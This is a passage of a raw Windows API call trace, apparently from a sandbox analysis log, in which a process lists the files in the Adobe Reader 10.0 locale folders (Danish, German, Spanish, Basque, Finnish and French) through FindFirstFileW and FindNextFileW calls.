hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.113] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0045.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x351ecfc, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.117] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x351ecfc, cFileName="..", cAlternateFileName="")) returned 1 [0045.117] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x351ecfc, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.117] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0045.117] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0045.117] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.117] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0045.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.422] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.422] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0045.450] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.453] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.453] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.453] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.453] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0045.453] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.453] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.453] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0045.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.454] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.454] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0045.454] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.455] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.455] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.455] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.455] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.455] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0045.455] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.455] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.455] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0045.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.455] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.456] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0045.456] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.456] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.457] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.457] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.457] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.457] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0045.457] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.457] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.457] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0045.457] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.457] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.457] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="ACCESS~1.SUO")) returned 1 [0045.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.459] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.459] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.459] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.459] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.459] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0045.460] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.460] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.460] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0045.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.460] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.460] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="ACCESS~1.FRA")) returned 1 [0045.461] FindFirstFileW 